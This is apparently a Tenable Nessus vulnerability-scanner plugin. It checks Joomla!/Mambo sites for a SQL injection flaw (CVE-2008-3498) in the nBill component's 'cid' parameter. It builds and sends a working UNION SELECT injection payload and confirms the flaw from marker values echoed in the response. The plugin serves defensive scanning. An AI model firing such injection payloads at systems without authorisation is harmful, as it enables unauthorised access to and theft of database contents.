nBill component for Joomla! 'cid' Parameter SQLi

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(33272);
  script_version("1.22");
  script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/04");

  script_cve_id("CVE-2008-3498");
  script_bugtraq_id(29951);
  script_xref(name:"EDB-ID", value:"5939");
  script_xref(name:"SECUNIA", value:"30752");

  script_name(english:"nBill component for Joomla! 'cid' Parameter SQLi");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of the nBill (also known as netinvoice) component for
Joomla! and Mambo running on the remote host is affected by a SQL
injection vulnerability due to improper sanitization of user-supplied
input to the 'cid' parameter before using it to construct database
queries. Regardless of the PHP 'magic_quotes_gpc' setting, an
unauthenticated, remote attacker can exploit this issue to manipulate
database queries, resulting in disclosure of sensitive information,
modification of data, or other attacks against the underlying
database.");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_cwe_id(89);

  script_set_attribute(attribute:"vuln_publication_date", value:"2008/06/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/06/30");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2024 Tenable Network Security, Inc.");

  script_dependencies("mambo_detect.nasl", "joomla_detect.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");

port = get_http_port(default:80, php:TRUE);
app = "Mambo / Joomla!";

# Generate a list of paths to check.
dirs = make_list();

# - Joomla
joomla_installs = get_installs(
  app_name : "Joomla!",
  port     : port
);

if (joomla_installs[0] == IF_OK)
{
  foreach install (joomla_installs[1])
  {
    dir = install['path'];
    dirs = make_list(dirs, dir);
  }
}

# - Mambo Open Source.
install = get_kb_item("www/" +port+ "/mambo_mos");
if (install)
{
  matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
  if (!isnull(matches))
  {
    dir = matches[2];
    dirs = make_list(dirs, dir);
  }
}

if (max_index(dirs) == 0)
  audit(AUDIT_WEB_APP_NOT_INST, app, port);

plugin = "nBill";
new_dirs = make_list();

foreach dir (dirs)
{
  # Check KB first
  installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

  if (!installed)
  {
    checks = make_array();
    regexes = make_list();
    regexes[0] = make_list('(<name>netinvoice<|function nbill_)');
    checks["/components/com_nbill/nbill_overlib_mini.js"] = regexes;
    checks["/administrator/components/com_netinvoice/netinvoice.xml"] = regexes;

    # Ensure plugin is installed
    installed = check_webapp_ext(
      checks : checks,
      dir    : dir,
      port   : port,
      ext    : plugin
    );
    if (installed) new_dirs = make_list(new_dirs, dir);
  }
}

magic1 = unixtime();
magic2 = rand();
non_affect = make_list();

# Loop through each directory.
foreach dir (new_dirs)
{
  # Try to exploit the issue to manipulate the component header for an order.
  base_exploit = "-1 UNION SELECT 1,2,3,concat("+magic1+",0x3a,"+magic2+")";
  for (n=5; n<48; n++)
    base_exploit = base_exploit + "," + n;

  for (n=48; n<=51; n++)
  {
    base_exploit = base_exploit + "," + n;
    url = dir + "/index.php?option=com_netinvoice&action=orders&task=order&cid=" + urlencode(str:base_exploit+"--");

    w = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
    res = w[2];

    # There's a problem if we could manipulate the component header.
    if (
      "billing-form-detail" >< res &&
      (
        'componentheading">' +magic1+ ":" +magic2+ "<" >< res ||
        '>New Order</a> > ' +magic1+ ":" +magic2+ "<" >< res
      )
    )
    {
      output = strstr(res, ">"+magic1);
      if (empty_or_null(output)) output = res;

      security_report_v4(
        port        : port,
        severity    : SECURITY_HOLE,
        line_limit  : 10,
        sqli        : TRUE,
        generic     : TRUE,
        request     : make_list(build_url(qs:url, port:port)),
        output      : chomp(output)
      );
      exit(0);
    }
  }
  non_affect = make_list(non_affect, dir);
  if (!thorough_tests) break;
}

installs = max_index(non_affect);
if (installs == 0)
  exit(0, "None of the "+app+ " installs (" + join(dirs, sep:" & ") + ") on port " + port+ " contain the " + plugin+ " component.");

else if (installs == 1)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, build_url(qs:dir, port:port), plugin + " component");

else exit(0, "None of the "+app+ " installs with the " + plugin+ " component (" + join(non_affect, sep:" & ") + ") on port " + port + " are affected.");